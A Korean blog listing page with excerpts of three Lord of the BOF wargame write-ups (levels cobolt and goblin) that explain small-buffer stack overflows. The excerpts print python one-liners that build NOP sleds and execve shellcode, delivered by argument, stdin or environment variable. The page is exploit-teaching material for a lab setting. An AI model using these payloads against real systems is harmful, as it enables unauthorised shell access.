본문 바로가기

small buffer3

LOB - 03 goblin - (2)환경 변수 이용 [goblin - small buffer + stdin]cobolt : hacking exposed 이번에는 'LOB - 03 goblin' 문제를 환경 변수를 이용하여 풀 것이다.터미널에서 아래와 같이 export를 하면 환경변수를 설정할 수 있다. 먼저 sh에 쉘코드를 넣어두었다. export sh=`python -c 'print "\x90"*100 + "\x31\xc0\x50\xba\x2e\x2e\x72\x67\x81\xc2\x01\x01\x01\x01\x52\xb9\x2e\x62\x69\x6e\x83\xc1\x01\x51\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'` 이제 sh의 주소를 알아오기 위해 간단한 코드를 작성하였다. 컴파일한 뒤, 실행하면 아.. 2019. 2. 1.
LOB - 03 goblin [goblin - small buffer + stdin]cobolt : hacking exposed 위의 id와 password로 로그인하면아래와 같이 goblin 코드를 볼 수 있다. 'LOB - 02 cobolt' 와 유사한 문제이며, stdin으로 입력 받는다는 차이가 있다.cobolt 문제와 같이 권한 문제로 먼저 tmp 디렉토리를 만든 뒤 바이너리를 복사한다. 그 뒤, buffer 16 바이트와 sfp 4바이트를 A로 채우고eip 자리에 B를 넣은 뒤 쉘코드를 입력한다. mkdir tmp cp goblin ./tmp/goblin cd tmp python -c 'print "A"*20 + "BBBB" + "\x90"*100 + "\x31\xc0\x50\xba\x2e\x2e\x72\x67\x81\x.. 2019. 2. 1.
LOB - 02 cobolt [cobolt - small buffer]gremlin : hello bof world 먼저 cobolt.c의 코드는 아래와 같다. 코드를 보면 크기가 16인 버퍼에 strcpy()를 하는 것을 볼 수 있다.이 때, 버퍼의 크기를 고려하지 않고 복사하기 때문에 20바이트를 덮으면 eip를 바꿀 수 있다.20바이트에 쉘코드를 담기에는 버퍼가 작기 때문에 eip 뒤쪽에 쉘코드를 넣어 보았다. 따라서 A를 20개 채우고, eip 자리에 우선 B를 넣어둔 뒤\x90을 100개 정도 쓴 뒤에 쉘코드를 넣었다. ./aaaaaa `python -c 'print "A"*20 + "BBBB" + "\x90"*100 + "\x31\xc0\x50\xba\x2e\x2e\x72\x67\x81\xc2\x01\x01\x01\x01.. 2019. 2. 1.